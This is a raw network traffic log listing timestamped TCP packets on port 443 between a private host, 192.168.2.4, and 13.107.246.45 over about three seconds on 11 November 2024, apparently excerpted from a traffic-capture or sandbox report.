Nov 11, 2024 14:33:00.744159937 CET	49772	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.744164944 CET	443	49772	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.744165897 CET	443	49769	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.745044947 CET	49771	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.745044947 CET	49771	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.745064974 CET	443	49771	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.745075941 CET	443	49771	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.745899916 CET	49770	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.745918036 CET	443	49770	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.745948076 CET	49770	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.745953083 CET	443	49770	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.746773005 CET	49773	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.746783972 CET	443	49773	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.746793032 CET	49773	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.746797085 CET	443	49773	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.752233028 CET	49774	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.752257109 CET	443	49774	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.752319098 CET	49774	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.768337965 CET	49775	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.768359900 CET	443	49775	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.768446922 CET	49775	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.768564939 CET	49774	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.768579006 CET	443	49774	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.805136919 CET	49775	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.805150032 CET	443	49775	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.807254076 CET	49776	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.807287931 CET	443	49776	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.807353973 CET	49776	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.807487011 CET	49776	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.807511091 CET	443	49776	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.808095932 CET	49777	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.808134079 CET	443	49777	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.808187008 CET	49777	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.817004919 CET	49778	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.817033052 CET	443	49778	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.817090988 CET	49778	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.817158937 CET	49777	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.817168951 CET	443	49777	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:00.817238092 CET	49778	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:00.817254066 CET	443	49778	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.288867950 CET	443	49774	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.290178061 CET	49774	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.290200949 CET	443	49774	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.290638924 CET	49774	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.290644884 CET	443	49774	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.318695068 CET	443	49775	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.318857908 CET	443	49776	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.319084883 CET	49775	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.319101095 CET	443	49775	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.319564104 CET	49775	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.319570065 CET	443	49775	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.319981098 CET	49776	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.319999933 CET	443	49776	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.320559025 CET	49776	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.320563078 CET	443	49776	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.330804110 CET	443	49778	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.331307888 CET	49778	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.331336021 CET	443	49778	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.331816912 CET	49778	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.331824064 CET	443	49778	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.359419107 CET	443	49777	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.359769106 CET	49777	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.359780073 CET	443	49777	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.360131979 CET	49777	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.360135078 CET	443	49777	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.381759882 CET	443	49774	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.382090092 CET	443	49774	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.382133961 CET	49774	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.389399052 CET	49774	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.389424086 CET	443	49774	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.389437914 CET	49774	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.389444113 CET	443	49774	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.392296076 CET	49779	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.392328024 CET	443	49779	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.392613888 CET	49779	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.392889023 CET	49779	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.392904997 CET	443	49779	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.411214113 CET	443	49775	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.411223888 CET	443	49776	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.411279917 CET	443	49776	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.411324978 CET	49776	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.411541939 CET	49776	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.411555052 CET	443	49776	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.411556005 CET	443	49775	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.411566019 CET	49776	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.411571026 CET	443	49776	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.411602020 CET	49775	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.411644936 CET	49775	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.411657095 CET	443	49775	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.411667109 CET	49775	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.411674976 CET	443	49775	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.414347887 CET	49780	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.414366961 CET	443	49780	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.414427996 CET	49780	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.415662050 CET	49781	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.415682077 CET	443	49781	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.415754080 CET	49781	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.415810108 CET	49780	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.415822029 CET	443	49780	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.416023970 CET	49781	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.416032076 CET	443	49781	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.430680990 CET	443	49778	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.430747986 CET	443	49778	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.430835962 CET	49778	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.430906057 CET	49778	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.430910110 CET	443	49778	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.430921078 CET	49778	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.430923939 CET	443	49778	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.432915926 CET	49782	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.432926893 CET	443	49782	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.432990074 CET	49782	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.433240891 CET	49782	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.433250904 CET	443	49782	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.452605009 CET	443	49777	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.452833891 CET	443	49777	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.452897072 CET	49777	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.452897072 CET	49777	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.452922106 CET	49777	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.452934027 CET	443	49777	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.455074072 CET	49783	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.455085039 CET	443	49783	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.455276012 CET	49783	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.455390930 CET	49783	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.455400944 CET	443	49783	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.906146049 CET	443	49779	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.909796953 CET	49779	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.909820080 CET	443	49779	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.910263062 CET	49779	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.910269976 CET	443	49779	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.928996086 CET	443	49780	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.929179907 CET	443	49781	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.929547071 CET	49780	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.929559946 CET	443	49780	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.929958105 CET	49780	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.929965973 CET	443	49780	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.930154085 CET	49781	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.930171967 CET	443	49781	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.930505037 CET	49781	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.930510044 CET	443	49781	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.945053101 CET	443	49782	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.947659016 CET	49782	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.947668076 CET	443	49782	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.948014021 CET	49782	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.948018074 CET	443	49782	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.969383955 CET	443	49783	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.971760035 CET	49783	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.971776009 CET	443	49783	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.972148895 CET	49783	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.972152948 CET	443	49783	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.999717951 CET	443	49779	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.999768972 CET	443	49779	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:01.999835968 CET	49779	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:01.999989986 CET	49779	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.000005960 CET	443	49779	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.000015020 CET	49779	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.000019073 CET	443	49779	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.002449036 CET	49784	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.002485037 CET	443	49784	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.002556086 CET	49784	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.002677917 CET	49784	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.002691984 CET	443	49784	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.022639036 CET	443	49780	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.022937059 CET	443	49780	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.023004055 CET	49780	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.023113012 CET	49780	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.023127079 CET	443	49780	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.023135900 CET	49780	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.023139954 CET	443	49780	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.023252010 CET	443	49781	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.023320913 CET	443	49781	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.023370028 CET	49781	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.023447990 CET	49781	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.023464918 CET	443	49781	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.023477077 CET	49781	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.023482084 CET	443	49781	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.026308060 CET	49785	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.026345968 CET	443	49785	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.026407957 CET	49785	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.026886940 CET	49786	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.026896954 CET	443	49786	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.026993036 CET	49785	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.027005911 CET	443	49785	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.027023077 CET	49786	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.027116060 CET	49786	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.027127028 CET	443	49786	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.042911053 CET	443	49782	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.043843985 CET	443	49782	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.047454119 CET	49782	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.047468901 CET	49782	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.047475100 CET	443	49782	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.047497034 CET	49782	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.047499895 CET	443	49782	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.049215078 CET	49787	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.049226999 CET	443	49787	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.051445961 CET	49787	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.051552057 CET	49787	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.051562071 CET	443	49787	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.063967943 CET	443	49783	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.064414024 CET	443	49783	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.064486980 CET	49783	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.088732004 CET	49783	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.088761091 CET	443	49783	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.088774920 CET	49783	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.088781118 CET	443	49783	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.091236115 CET	49788	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.091269016 CET	443	49788	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.091357946 CET	49788	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.091641903 CET	49788	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.091655016 CET	443	49788	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.532917023 CET	443	49784	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.536818981 CET	49784	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.536842108 CET	443	49784	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.537739038 CET	49784	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.537744045 CET	443	49784	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.540324926 CET	443	49785	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.540858984 CET	49785	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.540887117 CET	443	49785	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.541764975 CET	49785	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.541774035 CET	443	49785	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.548696041 CET	443	49786	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.549218893 CET	49786	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.549233913 CET	443	49786	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.550004005 CET	49786	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.550009012 CET	443	49786	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.572969913 CET	443	49787	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.589379072 CET	49787	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.589405060 CET	443	49787	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.590094090 CET	49787	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.590099096 CET	443	49787	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.619239092 CET	443	49788	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.627475023 CET	443	49784	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.627657890 CET	443	49784	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.627716064 CET	49784	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.634195089 CET	443	49785	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.634500027 CET	443	49785	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.634567976 CET	49785	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.642676115 CET	443	49786	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.642776012 CET	443	49786	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.642824888 CET	49786	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.656558990 CET	49788	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.656582117 CET	443	49788	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.657001972 CET	49788	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.657007933 CET	443	49788	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.657247066 CET	49786	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.657265902 CET	443	49786	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.657277107 CET	49786	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.657284021 CET	443	49786	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.658127069 CET	49784	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.658132076 CET	443	49784	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.658139944 CET	49784	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.658143044 CET	443	49784	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.658293962 CET	49785	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.658328056 CET	443	49785	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.658340931 CET	49785	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.658348083 CET	443	49785	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.662029982 CET	49789	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.662065029 CET	443	49789	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.662098885 CET	49790	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.662123919 CET	443	49790	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.662126064 CET	49789	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.662172079 CET	49790	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.662763119 CET	49789	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.662777901 CET	443	49789	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.662858009 CET	49791	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.662869930 CET	443	49791	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.662920952 CET	49791	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.662966013 CET	49790	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.662976980 CET	443	49790	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.663074970 CET	49791	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.663085938 CET	443	49791	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.688308001 CET	443	49787	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.688378096 CET	443	49787	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.688420057 CET	49787	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.688709021 CET	49787	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.688718081 CET	443	49787	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.688730001 CET	49787	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.688734055 CET	443	49787	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.691603899 CET	49792	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.691622019 CET	443	49792	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.691700935 CET	49792	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.691828966 CET	49792	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.691847086 CET	443	49792	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.811155081 CET	443	49788	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.811232090 CET	443	49788	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.811299086 CET	49788	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.811487913 CET	49788	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.811487913 CET	49788	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.811496973 CET	443	49788	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.811503887 CET	443	49788	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.814241886 CET	49793	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.814289093 CET	443	49793	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:02.814369917 CET	49793	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.814491987 CET	49793	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:02.814503908 CET	443	49793	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.199665070 CET	443	49791	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.200145006 CET	49791	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.200164080 CET	443	49791	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.200619936 CET	49791	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.200627089 CET	443	49791	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.200669050 CET	443	49789	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.201039076 CET	49789	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.201050043 CET	443	49789	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.201442003 CET	49789	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.201445103 CET	443	49789	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.204463005 CET	443	49792	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.204818964 CET	49792	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.204835892 CET	443	49792	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.205132961 CET	443	49790	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.205225945 CET	49792	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.205230951 CET	443	49792	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.205507040 CET	49790	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.205518961 CET	443	49790	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.205883980 CET	49790	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.205888033 CET	443	49790	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.292001963 CET	443	49791	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.292056084 CET	443	49791	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.292123079 CET	49791	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.292336941 CET	49791	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.292347908 CET	443	49791	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.292356014 CET	49791	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.292362928 CET	443	49791	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.292856932 CET	443	49789	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.293195009 CET	443	49789	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.293246031 CET	49789	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.293299913 CET	49789	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.293303013 CET	443	49789	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.293313026 CET	49789	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.293315887 CET	443	49789	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.294995070 CET	49794	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.295031071 CET	443	49794	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.295113087 CET	49794	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.295135975 CET	49795	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.295181990 CET	443	49795	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.295234919 CET	49795	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.295388937 CET	49795	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.295397043 CET	49794	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.295398951 CET	443	49795	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.295413017 CET	443	49794	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.297600985 CET	443	49792	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.297768116 CET	443	49792	13.107.246.45	192.168.2.4
